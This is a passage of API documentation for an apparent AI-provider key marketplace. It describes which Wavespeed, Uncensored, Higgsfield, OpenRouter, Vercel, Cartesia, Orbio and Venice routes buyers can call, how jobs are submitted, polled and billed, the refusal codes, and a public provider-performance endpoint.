this yet" looks like. A denylist that collects everything unopened stops telling you which entries are load-bearing. ## Wavespeed Wavespeed is a **path-style** provider, and almost everything on it is a **job**: you submit a task, you get an id, and you collect the result separately. Billing unit: **per image**. Wavespeed keeps no record of a call against the seller's account. ### What is reachable Two rules, and together they are the whole surface: | Rule | Covers | | ---------------------------------- | ---------------------------------------------------------- | | `POST /api/v3/{publisher}/+` | Submit a task to one of **44** allowed publishers' models. | | `GET /api/v3/predictions/*/result` | Read one task's result. | Generation only. No price lookups, model lists, uploads, balance, billing or prediction history - and `POST /api/v3/predictions`, the generic submit, is refused precisely because it would sidestep the per-publisher allowlist. The 44 publishers are the model owners Wavespeed hosts: ``` alibaba black-forest-labs bria bytedance character-ai chatterbox clarity-ai decart elevenlabs google heygen hitem3d hyper3d ideogram-ai inworld kwaivgi leonardoai lightricks luma meshy meta microsoft midjourney minimax mirelo-ai mureka-ai nvidia openai pika pixverse pruna-ai recraft-ai runwayml skywork-ai sonilo sourceful sync topaz tripo3d veed vidu wavespeed-ai x-ai z-ai ``` A model under any other owner is refused `policy_refused` - the publisher is part of the rule, not a hint. > **A listed publisher does not mean every model under it is priced.** `black-forest-labs/flux-schnell` reads like > the obvious first call and is a 404 at Wavespeed's own price endpoint, so it is refused `provider_unpriceable` > rather than charged at a guess. `wavespeed-ai/flux-schnell` is the priced equivalent. If a model refuses this > way, try the `wavespeed-ai` mirror of it. ### Submit, then collect **A Wavespeed task, end to end** 1. **POST the model**: Answers { data: { id, urls } } 2. **Bound to that offer**: 27 h, your account only 3. **GET the status URL**: Free. created → processing → completed 4. **GET …/result**: The image, and the charge settles The submit answers at once - the id is not the image. The charge is owed at the quote from the submit and settles at the actual figure when you read the result, so a task you never collect is never charged at an actual. **A full task** **Submit** ```bash curl -X POST https://api.surplusintelligence.ai/v1/resources/wavespeed/api/v3/wavespeed-ai/flux-schnell \ -H "Authorization: Bearer $SURPLUS_API_KEY" \ -H "Content-Type: application/json" \ -H "Idempotency-Key: $(uuidgen)" \ -d '{"prompt":"a tiny blue paper boat on a white table","size":"1024*1024"}' ``` **Poll** ```json { "data": { "id": "a1b2c3d4e5f6", "status": "created", "urls": { "get": "https://api.surplusintelligence.ai/v1/resources/wavespeed/api/v3/predictions/a1b2c3d4e5f6/result" } } } ``` **Result** ```bash # Follow the URL the submit gave you — it already points back through us, on your key. curl https://api.surplusintelligence.ai/v1/resources/wavespeed/api/v3/predictions/a1b2c3d4e5f6/result \ -H "Authorization: Bearer $SURPLUS_API_KEY" ``` **Look closely at `urls.get` in that response.** Wavespeed returned its own `api.wavespeed.ai` URL; we rewrote it to point back at our route before handing it to you. Follow it as given and your poll stays on your own Surplus key and on the same seller's offer. Call Wavespeed's URL directly and you have no credential. That rewriting is why path-style providers need no special handling from you, and it is covered in full under [jobs and settlement](https://www.surplusintelligence.ai/docs/marketplace/provider-market-jobs#following-a-job). ### Streaming is refused Wavespeed publishes streaming variants at `/api/v3/{publisher}/{model}/stream`, and they are denied **provider-wide** rather than left to each seller. A streamed response has to be metered from the stream, which this rail does not do - it would be billed at the submit's estimate and settle wrong. That makes it a platform capability gap, not a seller's choice. Both the `/stream` and `/stream/*` forms are denied, because a variant may nest. ### Two layers here as well - **Everything Wavespeed publishes** - **Named on the denylist**: balance, billing, user, webhook secret, media uploads, prediction history, streams - **Refused by absence**: anything under an unlisted publisher - **Open**: 44 publishers’ models, and one result read The allowlist admits 44 publishers and one result read. The denylist underneath names the account routes, so widening the allowlist to pick up a new publisher cannot accidentally open them. `/api/v3/webhook*` is named deliberately: it holds the account's webhook **signing secret**. It was already refused by being off the allowlist, but a fence that only works while the allowlist stays narrow is not a fence. ## Uncensored Uncensored AI is a **path-style** provider, and every generation call on it is a **job**: you submit, it answers `202` with a job id and a `status_url`, and you read the job until it finishes. Its images are also a job - there is no synchronous call, whatever the provider's own page says. Billing unit: **per request** for images, **per second** for video. The seller's Uncensored account keeps every job and the output sits on a public link, so a call does leave state on the seller's side. Send your Surplus key in `Authorization: Bearer` or in `x-api-key`, the header Uncensored's own docs use. ### What is reachable | Rule | Covers | | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------- | | `POST /api/v1/images/generations` | Generate an image. | | `POST /api/v1/images/studio/edit` | Edit an image from one reference image link. | | `POST /api/v1/videos/generations` | Generate or transform a video. | | `GET …/jobs/{id}` on each of the three | Read a job you started. | | `GET /api/v1/models`, `GET /api/v1/models/{id}`, `GET /api/v1/api-keys/scopes`, `POST /api/v1/billing/estimate`, `GET /api/v1/health`, `GET /api/health`, `GET /health` | Free routes that Uncensored answers with no key at all. | Chat is **not** reachable: chat is sold through the order book, and a model that bills on its output cannot be priced before the call. The seller's balance, spend history, limits and API keys are refused by name. ### What is priced The list price of a call is Uncensored's own quote for it, read from its free `POST /api/v1/billing/estimate` when you call, not a fixed table. Only the models below are accepted, and a call whose price cannot be read is refused (`provider_unpriceable`) before a seller is chosen, rather than charged at a guess. | Surface | Model | What it takes | | ---------- | ------------------------- | ----------------------------------- | | Image | `model-dev` | A prompt; any size up to 2048×2048. | | Image edit | `standard` | One reference image link. | | Video | `wan-2.2-ultra-fast` | `seconds` 5 or 8, `480p` or `720p`. | | Video | `video-watermark-remover` | `seconds` 1 to 10. | A video call must name `seconds`. A request that carries any field outside the documented set - a `callback_url`, above all, which would send the result and the seller's account to another address - is refused. ### Submit, then collect **An image job** **Submit** ```bash curl -X POST https://api.surplusintelligence.ai/v1/resources/uncensored/api/v1/images/generations \ -H "Authorization: Bearer $SURPLUS_API_KEY" \ -H "Content-Type: application/json" \ -d '{"model":"model-dev","prompt":"a tiny blue paper boat on a white table"}' ``` **Poll** ```json { "job_id": "f6381cd0-6d70-4ecc-9ff3-c7d375f51ff3", "status": "processing", "status_url": "https://api.surplusintelligence.ai/v1/resources/uncensored/api/v1/images/generation/jobs/f6381cd0-6d70-4ecc-9ff3-c7d375f51ff3" } ``` **Result** ```bash # Follow the URL the submit gave you — it already points back through us, on your key. curl https://api.surplusintelligence.ai/v1/resources/uncensored/api/v1/images/generation/jobs/f6381cd0-6d70-4ecc-9ff3-c7d375f51ff3 \ -H "Authorization: Bearer $SURPLUS_API_KEY" # → { "status": "completed", "image_url": "https://media.…/….jpg", … } ``` An image finishes in a few seconds, an edit in about half a minute, and a video in one to two minutes. You are charged only once the job is **confirmed complete**; a job that fails is released and costs nothing. ### Things to know - **The result is a public link.** `image_url` and `video_url` point at Uncensored's CDN and need no key, so anyone who has the link can open it. - **Content rules apply to the seller's account.** Uncensored scans every input and output and can suspend the account behind a key for violations, so what you send counts against that account. Its acceptable-use policy bars, among other things, realistic human faces without logged consent. - **The model you name is what is priced.** Uncensored may substitute another model when the one you asked for is unavailable (`is_fallback: true` on the job). On edits its docs say `enable_fallback` is accepted only for forward compatibility, so it cannot be turned off there. Check the model on the finished job. ## Higgsfield Higgsfield is a **path-style** provider and a true **base-URL swap**: point Higgsfield's own SDK, or curl, at `/v1/resources/higgsfield` and keep everything else as it is on Higgsfield. Every generation call is a **job**: the submit answers at once with a `request_id`, a `status_url` and a `cancel_url`, and you read the status until it finishes. Billing unit: **per generation** for images, **per second** for video. The seller's Higgsfield account keeps a record of every job and the output sits on a public link, so a call does leave state on the seller's side. ### Your key, and the JS SDK's colon Send your Surplus key in `Authorization: Bearer ` or in `Authorization: Key `, the header Higgsfield's own docs and SDKs use. Higgsfield's **JS SDK v2** refuses, on your machine and before it sends anything, any credential that is not `KEY_ID:KEY_SECRET`. A Surplus key has no colon, so give it one: `:x`. The `:x` is filler - we read only the part before the colon. The Python SDK and curl take the bare key. **The same Soul 2 image, three ways** **Python** ```python import os from higgsfield_client import SyncClient client = SyncClient(base_url="https://api.surplusintelligence.ai/v1/resources/higgsfield", api_key=os.environ["SURPLUS_API_KEY"]) result = client.subscribe("higgsfield-ai/soul/v2/standard", arguments={"prompt": "a logo for Surplus Intelligence"}) print(result["images"][0]["url"]) ``` **TypeScript** ```typescript import { config, higgsfield } from '@higgsfield/client/v2'; // ':x' is filler: the SDK wants KEY_ID:KEY_SECRET, and the route reads only the part before the colon. config({ baseURL: 'https://api.surplusintelligence.ai/v1/resources/higgsfield', credentials: `${process.env.SURPLUS_API_KEY}:x`, }); const result = await higgsfield.subscribe('higgsfield-ai/soul/v2/standard', { input: { prompt: 'a logo for Surplus Intelligence' }, withPolling: true }); console.log(result.images?.[0]?.url); ``` **cURL** ```bash curl https://api.surplusintelligence.ai/v1/resources/higgsfield/higgsfield-ai/soul/v2/standard \ -H "Authorization: Bearer $SURPLUS_API_KEY" \ -H "Content-Type: application/json" \ -d '{"prompt":"a logo for Surplus Intelligence"}' ``` Only the **v2** JS client works: the older `HiggsfieldClient` (v1) calls Higgsfield's legacy API, which current models do not answer. In Python, follow a job through the handle `submit()` returns (or `subscribe()`), never `client.status(request_id)`, `client.result(request_id)` or `client.cancel(request_id)`. Those three build Higgsfield's own URL whatever `base_url` you set, so through us they would send your Surplus key to Higgsfield and fail. ### What is reachable | Rule | Covers | | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------- | | `POST /{publisher}/…` for `higgsfield-ai`, `higgsfield`, `marketing-studio`, `kling-video`, `bytedance`, `wan`, `alibaba`, `minimax`, `pixverse`, `lightricks`, `xai`, `recraft`, `ideogram`, `z-image` | Submit to any model, by the model id Higgsfield uses (`kling-video/v3.0/std/text-to-video`). | | `GET /requests/{id}/status` | Read a job you started. | | `POST /requests/{id}/cancel` | Cancel a job you started, while it is still queued. | | `GET /v1/text2image/soul-styles`, `GET /v1/text2image/soul-styles/v2`, `GET /marketing-studio/image/presets`, `GET /models/higgsfield/genjutsu/restyle/v1.0/presets` | The style and preset lists for `style_id` and `preset_id`. The Marketing Studio presets come 50 to a page: pass `?cursor=` to read the next. | The only query parameter passed through is `cursor`. Each publisher is a capability a seller can turn off. ### What is refused, and why | Refused | Why | | ------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `POST /soul-id`, `/v1/custom-references…` | Soul ID training stores a character on the seller's account, and the list route reads those characters. | | `custom_reference_id` in a body | It picks a Soul ID character trained on the seller's account - a real person's likeness. Refused `provider_unpriceable` before a seller is chosen. | | `elements` in a body (Kling 3.0, O3, Omni) | Kling element IDs must belong to the calling account, so they are the seller's saved characters and objects. Refused `provider_unpriceable` before a seller is chosen. | | `POST /files/generate-upload-url` | Uploads would run on the seller's key. Pass your own public `https` links in `image_url`, `video_url` and the like. | | `?hf_webhook=` | Dropped: it would send the result to an address outside your job. Poll the `status_url` instead. | | `/v1/agent…` | Agent chat sessions and their uploads live on the seller's account. | | `POST /higgsfield/ai-influencer` | Held back until it is known not to store a character on the seller's account. | | `/estimate/…`, `GET /models` | The price lookup and catalogue we read on the seller's key. | ### What is priced The list price of a call is Higgsfield's own quote for **that exact request**, read from its estimate on the seller's key when you call, not from a table: the price follows the inputs (in our tests a Soul 2 batch of 4 cost $0.013 against $0.004 for one, and Kling 3.0 at 10 seconds cost twice 5 seconds). It is the price **before** any discount on the seller's own Higgsfield account; the seller's listing discount then comes off it. Two kinds of model cannot be priced, and neither is charged at a guess: - **Models Higgsfield prices only by formula** - Seedance, Wan 3.0, Genjutsu, Cinema Studio, Ads Studio and Marketing Studio Flare and Sunburst, among others - answer `provider_unpriceable`. - **Kling motion control (2.6 and 3.0, standard and pro) and the O3 and Omni video edits** answer `price_unavailable` (a retryable `503`): Higgsfield's estimate fails on them. An identical retry is refused for ten minutes without asking Higgsfield again, and they start working when Higgsfield fixes its side. ### Submit, then collect **A Soul 2 job** **Submit** ```bash curl -X POST https://api.surplusintelligence.ai/v1/resources/higgsfield/higgsfield-ai/soul/v2/standard \ -H "Authorization: Bearer $SURPLUS_API_KEY" \ -H "Content-Type: application/json" \ -d '{"prompt":"a small red apple on a white table"}' ``` **Answer** ```json { "status": "queued", "request_id": "0f0557db-b510-4d57-93d5-ef99162ccbf5", "status_url": "https://api.surplusintelligence.ai/v1/resources/higgsfield/requests/0f0557db-b510-4d57-93d5-ef99162ccbf5/status", "cancel_url": "https://api.surplusintelligence.ai/v1/resources/higgsfield/requests/0f0557db-b510-4d57-93d5-ef99162ccbf5/cancel" } ``` **Poll** ```bash # Follow the URL the submit gave you — it already points back through us, on your key. curl https://api.surplusintelligence.ai/v1/resources/higgsfield/requests/0f0557db-b510-4d57-93d5-ef99162ccbf5/status \ -H "Authorization: Bearer $SURPLUS_API_KEY" # → { "status": "completed", "images": [{ "url": "https://….cloudfront.net/….png" }], … } ``` The status reads `queued`, then `in_progress`, then `completed` with `images` or `video`; a Soul 2 image took about twenty seconds in our tests. You are charged only once the job is **confirmed complete**. A job that ends `failed`, `nsfw` or `canceled` is released and costs nothing. **Cancelling** works only while the job is queued: the cancel answers `202` and the job reads `canceled`. Once Higgsfield has started it, the cancel answers `400` ("Request is in progress"), and the job finishes and is charged. ### Things to know - **The result is a public link.** The image or video URL is on Higgsfield's CDN and needs no key, so anyone who has the link can open it. Higgsfield documents keeping outputs for at least seven days: download what you need to keep. - **A busy seller is skipped.** Higgsfield limits how many jobs one account runs at once and, per its docs, answers a `400` when that account is full. That call is sent to the next seller instead of failing. - **How many jobs you can run at once follows your credit balance**, on the same tiers Higgsfield uses for its own accounts: 2 under $25, 10 from $25, 20 from $100, 40 from $1,000. A job counts until it finishes, fails or is canceled. A submit past your limit is refused with `429 rate_limited` before anything is held or charged: retry once a job finishes, or add credit. - **The record stays on the seller's account.** Higgsfield has no way to delete a job, so the seller's account keeps it. Nothing on this route can list those records. ## Related - [Your first call](https://www.surplusintelligence.ai/docs/marketplace/provider-market-calling) - the end-to-end path, for every provider. - [Jobs and settlement](https://www.surplusintelligence.ai/docs/marketplace/provider-market-jobs) - bindings, polling and when you are charged. - [Access rules](https://www.surplusintelligence.ai/docs/marketplace/provider-market-access) - how a seller narrows a key further. - [Security and privacy](https://www.surplusintelligence.ai/docs/marketplace/security-privacy) - what reaches a seller's account. - [Provider key endpoints](https://www.surplusintelligence.ai/docs/api-reference/resources) - the endpoint reference. ## OpenRouter Use `https://api.surplusintelligence.ai/v1/resources/openrouter/api/v1` as the base URL and your Surplus inference key as the bearer token. Text generation and inline-text embeddings use token pricing. The dedicated image API (`POST /images`) and video API (`POST /videos`) support requests whose full cost can be bounded from published provider prices. Unsupported billing dimensions and unbounded options are refused before generation. Video generation returns a job ID. Follow the rewritten polling and content URLs using the same buyer key. Only that buyer can access the job through Surplus. Failed or canceled jobs release the hold; successful jobs use the reported actual cost, capped at the quote. When actual cost is unavailable, the quoted estimate is charged. The quote can use the highest published price tier. Decisions (`POST /api/alpha/decisions`) answer typed questions about a state you send, using one of OpenRouter's decision models. They are billed on input tokens only, since the models publish no output price. Surplus quotes the request from its size, charges what OpenRouter reports for the call, never more than the quote, and applies the seller's discount. A model that OpenRouter does not list as a decision model, or lists with no price, is refused before anything runs. Decisions are opt-in: a listing serves them only if the seller has turned on the Decisions capability, and otherwise answers `403 policy_refused`. No other `/api/alpha` route is available. Older seller listings do not automatically start serving embeddings, images or video. Sellers can enable those capabilities in their listing policy. Account balances, API-key management and unrelated generation history remain unavailable to buyers. ## Vercel AI Gateway For the OpenAI-compatible API use `https://api.surplusintelligence.ai/v1/resources/vercel/v1`. Image generation uses `/images/generations`; JSON image edits are available only for models whose reference-image charges are verified and bounded. Decisions (`POST /decisions`) answer typed predicate, choice and score questions about an input, using one of Vercel's decision models (`openai/gpt-6-luna-decisions`, `microsoft/microsoft-decision-1` and others). They are billed on input tokens only, since the models publish no output price. Surplus quotes the request from its size at the model's highest published rate, charges what Vercel reports for the call, never more than the quote, and applies the seller's discount. `parallel/parallel-decisions-fast` is billed a flat $0.001 per request instead of per token; Surplus quotes exactly that, whatever the size of the request. A model that Vercel does not list as a decision model is refused before anything runs. Decisions are opt-in: a listing serves them only if the seller has turned on the Decisions capability, and otherwise answers `403 policy_refused`. For supported AI SDK media protocols, preserve the SDK version suffix when replacing the host. For example, the v4 gateway base URL becomes `https://api.surplusintelligence.ai/v1/resources/vercel/v4/ai`. The proxy forwards the SDK model selector and image/video specification headers. Image requests support v1, v3 and v4 media protocols; synchronous video requests support v3 and v4 on the Surplus API key credit rail. Video SSE keepalives pass through while generation runs, and the final result determines the charge. Only published per-image and per-second pricing is supported on these media routes. Video requests require an explicit supported duration. Unknown billing dimensions, unbounded provider options, async SDK start/status operations, and video/audio references are refused. Token-priced or megapixel-priced image models are not treated as flat-price images. Successful media calls use usable reported actual cost, capped at the quote; otherwise the quote is charged. An HTTP 200 response containing an error is a failure, not a billable generation. Existing seller listings must opt into the new image and video capabilities. ## Cartesia Cartesia supports `POST /tts/bytes` for speech generation, `POST /stt` for Ink Whisper file transcription, and `GET /models` for the public model catalog. The seller health check displays the live catalog and identifies which models are supported through Surplus. Catalog discovery is not a paid generation or balance test. Use `https://api.surplusintelligence.ai/v1/resources/cartesia` as the base URL and your Surplus key as a Bearer token. Surplus supplies the pinned `Cartesia-Version: 2026-08-14` header upstream. TTS accepts `sonic-3.6`, `sonic-3.5`, `sonic-3`, and `sonic-preview` (beta), plus the stable snapshots `sonic-3.6-2026-08-27`, `sonic-3.5-2026-05-04`, and `sonic-3-2026-01-12` as `model_id`. Use plain-text `transcript` (1–2,000 characters), the public voice `db6b0ed5-d5d3-463d-ae85-518a07d3c2b4`, and `output_format` with `container: "wav"`, `encoding: "pcm_s16le"`, `sample_rate: 44100`. An optional two-letter `language` is supported. Normalization is disabled. Markup, private voices, dictionaries and other request fields are refused. The reference price is **$0.065 per 1,000 transcript characters**, the published Pro overage rate; the seller's advertised discount applies to that reference. Subscription plans can have different effective rates. Cartesia does not report an actual USD cost on this response, so a successful request is charged its quoted amount. The model catalog is free. A model appearing in that upstream catalog does not mean its generation route is supported here. For transcription, send multipart fields `model=ink-whisper` and `file` containing PCM WAV audio, at most 60 seconds and a 2 MiB request. Optional fields are `language` (two-letter code) and `timestamp_granularities[]=word`. Remote audio URLs and other formats are not accepted. The reference rate is $0.00195 per minute (one credit per two seconds at $0.000065 per credit). Surplus reserves a duration bound with a 5% plus one-second margin, charges the returned duration capped at that quote, and releases the remainder. If duration is missing, the quote is charged. Existing listings must opt into the new Speech to text capability; new listings include it by default. Ink 2 and Ink Preview are listed but unavailable: they require a WebSocket transport. SSE, WebSockets, cloning, agents, account administration, files and private voice-library routes are not enabled. This integration does not promise zero provider retention; sellers acknowledge provider state when listing their key. Sources: [Cartesia TTS API](https://docs.cartesia.ai/api-reference/tts/bytes), [Cartesia pricing](https://www.cartesia.ai/pricing). ## Orbio Orbio sells web, chain and social reads as request-based tools: every call is `POST /api/v1/tools/`. Use `https://api.surplusintelligence.ai/v1/resources/orbio` as the base URL and your Surplus key as a Bearer token, then call the same path you would call on `https://api.orbio.so`. **Reachable:** `web.search`, `web.scrape`, `chain.read` and `solana.read` (read-only RPC), `social.x.posts`, `social.x.profile` and `social.x.lookup`, plus `GET /api/v1/tools`, Orbio's public tool catalogue with its schemas and prices. **Refused, because they reach the seller's account:** the infrastructure product (shells, databases, mailboxes and deployments), posting and the seller's connected social accounts, characters, media jobs, `media.image`, `text.decide`, `social.tiktok`, `social.instagram`, `social.reddit` (Orbio holds their quote and refunds it later, so it is no price), the balance and key routes, chat, Incognito, swap, OAuth and MCP. Chain methods that write are refused too. **Priced before it runs:** Orbio quotes your exact request, and Surplus holds that quote and caps the call at it, so you do not need to send `max_cost`. If you send one and the quote is above it, the call is refused before anything runs. You are charged what Orbio reports for the call, never more than the quote. Orbio bills a scrape of an unreachable page, and so does Surplus. Orbio allows 120 requests a minute per key, shared by every buyer on that seller. Orbio's cost and balance headers are not relayed. Source: [Orbio developer docs](https://www.orbio.so/developers). ## Venice Venice is OpenAI-compatible, so an OpenAI SDK needs only two strings changed. Use `https://api.surplusintelligence.ai/v1/resources/venice/api/v1` as the base URL and your Surplus key as the Bearer token, then call the same paths you would call on `https://api.venice.ai/api/v1`. **Reachable:** `POST /chat/completions` and `POST /responses` (streaming works), `POST /embeddings`, `POST /image/generate` and `/images/generations`, `POST /image/edit`, `/image/multi-edit` and `/image/upscale`, `POST /audio/speech` (streaming works), video and music jobs (`POST /video/queue` and `/audio/queue`, then `/retrieve` and `/complete`), plus the free reads `GET /models` (add `?type=all` for media models), `/models/traits`, `/models/compatibility_mapping`, `/image/styles` and the `/video/quote` and `/audio/quote` price checks. **Video and music run as jobs.** Queue the job, then poll `/retrieve` with the same `model` and `queue_id` until it answers with the file (or, on some models, `"status": "COMPLETED"` and a one-time `download_url` from the queue response). You are held Venice's own quote at submit and charged it only once the job is done; a job that never finishes is released after a day, never charged. Only you can retrieve your own jobs. Not available on jobs: a source or reference video or audio, a face-consent attestation, `draft` and `draft_task_id`, choosing a voice, the voice changer and `/complete` (Venice deletes a job's file itself within a day); use `POST /audio/speech` for text to speech. **Images and speech are priced from the request.** Name the `resolution` and `quality` on `/image/generate` and you pay that tier; leave them out and you pay the model's default. `/images/generations` serves only models with one flat price. Speech takes the voices a model publishes (cloned and third-party voices are not available) and is charged per character. Edit and upscale images are sent as JSON, inline (a data URI or base64) or as an `https` URL. **The output cap is optional.** Chat is priced before it runs, from the tokens it can use. Send `max_tokens` or `max_completion_tokens` on chat, and `max_output_tokens` on `/responses` (Venice ignores `max_tokens` there). If you send none, Surplus adds a 4,096-token cap (or the model's context, if smaller) in the route's own field and names that field in the `x-si-adapted-params` response header. **Refused:** web search, web scraping and X search (their results are billed into the prompt, so no price exists before the call), voice cloning, the seller's keys, billing and balance, the wallet (x402) rail, crypto RPC, characters, the decisions and `systemone` routes, background removal (Venice publishes no price for it), transcription (Venice does not bill every model at its published rate, so it cannot be priced before the call yet), the voice changer, and voice cloning. **Priced before it runs:** Surplus holds an upper bound from the model's published rates and charges what the call actually used, never more. Venice adds its own system prompt to every chat call and bills it to the seller, so the hold allows for it. You are charged the tokens Venice reports: input, output, and cached or cache-written input at their own rates. Venice's rate limits are per key and shared by every buyer on that seller. Venice's balance and rate-limit headers are not relayed. Source: [Venice API docs](https://docs.venice.ai). --- # /docs/marketplace/provider-market # Provider Market Ten providers are live on the Provider Market, and `GET /api/markets/keys` lists them. None of them sells capacity below list. Sellers do: a seller lists their provider key on Surplus, and you call it through us at a discount. You keep one base URL and one Surplus API key. There is no second credential, no contract, and nothing to reserve: every call is routed on its own to the cheapest offer that can serve it. This page is the shape of the market. If you want to make a call now, start with [your first call](https://www.surplusintelligence.ai/docs/marketplace/provider-market-calling), then the page for your provider - [Fal](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#fal), [ElevenLabs](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#elevenlabs), [Wavespeed](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#wavespeed), [Uncensored](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#uncensored), [Higgsfield](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#higgsfield), [Orbio](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#orbio), [OpenRouter](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#openrouter), [Vercel AI Gateway](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#vercel-ai-gateway), [Cartesia](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#cartesia) or [Venice](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#venice). ## Calling one The path after the provider is the provider's own. Two shapes, and the difference matters: | Provider | What you call | | ------------------------- | ------------------------------------------------------------------------------ | | Every provider except Fal | `POST {base}/v1/resources/{provider}/{the provider's path}` | | Fal | point the SDK's `proxyUrl` at `{base}/v1/resources/fal` and **append nothing** | Fal's SDK adds the model itself, so a URL with the path already on it is refused `400 unexpected_path`. It is the one provider whose path stays empty, and getting it wrong is the most common first mistake. Your Surplus API key authenticates the call and your existing balance pays for it. ## What a call costs The response says, on every rail: | Header | What it is | | ----------------------- | -------------------------------------- | | `x-si-buyer-cost-micro` | what you were charged, in microdollars | | `x-si-list-cost-micro` | what the provider would have billed | The difference is what the Provider Market saved you. One offer carries **one discount** for everything it serves - there is no per-capability price list, and a provider's row shows the best discount with the median behind it so you can see whether that price holds if one seller pauses. ## What is never callable Three things are refused no matter who lists what: - **Account routes.** Billing, team members, API keys, usage and plan settings. We only ever call the provider's own API host, and this fence is ours - no seller can widen it. - **Anything we cannot price.** A call we cannot put a number on is refused rather than guessed at. - **Streaming.** Not in this release: a streamed response cannot be metered the way settlement needs, so it is refused rather than mis-billed. A seller can narrow their own key further. [Access rules on a provider key](https://www.surplusintelligence.ai/docs/marketplace/provider-market-access) is the full reference for how that decision is made. ## Requiring something of the account Some sellers advertise properties of the account behind their key - an EU region or a business plan. You can require any of them, per call or as a default: ```bash curl -X POST {base}/v1/resources/fal \ -H "Authorization: Bearer $SURPLUS_API_KEY" \ -H "Content-Type: application/json" \ -H "x-fal-target-url: https://fal.run/fal-ai/flux/schnell" \ -H "X-SI-Require: capacity.dedicated,residency.eu" \ -d '{"prompt":"a logo for Surplus Intelligence","image_size":"square"}' ``` A call that requires something **only reaches offers that claim all of it**. If none can, the call is refused with `trait_unavailable` - it is never quietly served by an offer that does not qualify. That is the whole point of the header, and it is why requiring something can raise your price: the pool is smaller. ### What a badge is worth Every trait carries its provenance, everywhere it appears, and the three are not interchangeable: | Badge | What it means | | -------------- | -------------------------------------------------------------------------------------------------- | | **Verified** | We measured it. | | **Documented** | The seller supplied the provider's own confirmation for that account, and an operator accepted it. | | **Claimed** | The seller's word, and nothing else. | Most traits can only ever be **Claimed** - there is nothing about someone else's account configuration that we can check from outside, and we would rather say so than imply a check we did not make. A false claim removes the listing and holds its earnings, which is the enforcement behind the word. ## When a call does not land Each refusal names one cause, so you can tell whose problem it is: | Code | What to do | | ------------------------ | ------------------------------------------------------------------------------------------ | | `platform_route_refused` | Nothing - never reachable, for any seller. | | `policy_refused` | No seller's rules allow this call. Wait for one who does. | | `seller_cap_reached` | Every capable offer spent its daily cap. Resets at 00:00 UTC. **Retryable.** | | `offers_unhealthy` | Offers exist, but every capable one is paused or backed off after failures. **Retryable.** | | `no_resource_offer` | Nobody lists this provider yet. | | `provider_unpriceable` | We cannot price the call. Use a model we can. | | `trait_unavailable` | Nobody advertises what you required. Drop it, or wait. **Retryable.** | | `insufficient_credit` | Top up. | ## Related - [Your first call](https://www.surplusintelligence.ai/docs/marketplace/provider-market-calling) - the end-to-end path, with working examples. - [Fal](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#fal), [ElevenLabs](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#elevenlabs), [Wavespeed](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#wavespeed), [Uncensored](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#uncensored), [Higgsfield](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#higgsfield), [Orbio](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#orbio), [OpenRouter](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#openrouter), [Vercel AI Gateway](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#vercel-ai-gateway), [Cartesia](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#cartesia) and [Venice](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#venice) - each provider's exact routes. - [Jobs and settlement](https://www.surplusintelligence.ai/docs/marketplace/provider-market-jobs) - async jobs, and exactly when you are charged. - [Listing your key](https://www.surplusintelligence.ai/docs/marketplace/provider-market-listing) - the seller side, end to end. - [Provider key endpoints](https://www.surplusintelligence.ai/docs/api-reference/resources) - the endpoint reference. - [Access rules on a provider key](https://www.surplusintelligence.ai/docs/marketplace/provider-market-access) - the three checks, in order. - [Pricing](https://www.surplusintelligence.ai/docs/marketplace/pricing) - how a call is priced and what a discount comes off. - [Security and privacy](https://www.surplusintelligence.ai/docs/marketplace/security-privacy) - what reaches a seller's account, and what never does. --- # /docs/marketplace/provider-performance # Provider Performance Measured latency, time-to-first-token and uptime for every provider serving a model, from real traffic the marketplace actually served. ```bash curl https://api.surplusintelligence.ai/api/analytics/performance/gpt-5.6-luna ``` No authentication. Cacheable for five minutes. ```json { "model": "gpt-5.6-luna", "window_days": 1, "complete": true, "computed_at": 1788860286699, "window_start": 1788773886699, "window_end": 1788860286699, "providers": [ { "provider": "openai", "requests": 41230, "failures": 512, "sellers": 7, "uptime_pct": 98.8, "avg_latency_ms": 1388, "p50_latency_ms": 1237, "p90_latency_ms": 2254, "p99_latency_ms": 7514, "ttft_samples": 26104, "ttft_p50_ms": 276, "ttft_p90_ms": 372, "route_overhead_p50_ms": 6.05, "tps_samples": 25980, "tps_p50": 84.3, "cache_hit_rate_pct": 41.7 } ] } ``` ## How to read it **Per provider, never per offer.** Every figure aggregates across every seller offering that model on that provider. A per-offer number would be one seller's private performance data, so it is not computed and not published. **`null` means "not enough data", never "zero".** A percentile is refused rather than approximated when the window holds too few observations to place it - a p99 needs on the order of five hundred samples, which on a 24-hour window means a pair serving roughly 500 requests a day. Expect `p99_latency_ms` to be null for most pairs and populated for the busy ones. Render a null as *unknown*; treating it as `0` would read as the fastest possible provider, the exact opposite of what it means. **`ttft_samples` is deliberately lower than `requests`.** Time-to-first-token only exists for a streamed response, so it ships with its own denominator rather than implying it covers every request. **`sellers` is a count, never identities.** A cell is published only when at least two distinct sellers serve that provider - below that, "per-provider" would be one seller's data wearing an aggregate's label, so the cell is omitted entirely rather than published. This means a provider you can see in the market may be absent here. **`uptime_pct` is served requests over attempts** - `requests / (requests + failures)`. The failure count comes from the health log, not from usage records: a request that never completes is never billed and so leaves no usage row, and uptime computed from usage alone would read \~100% by construction. **`tps_p50` is the generation 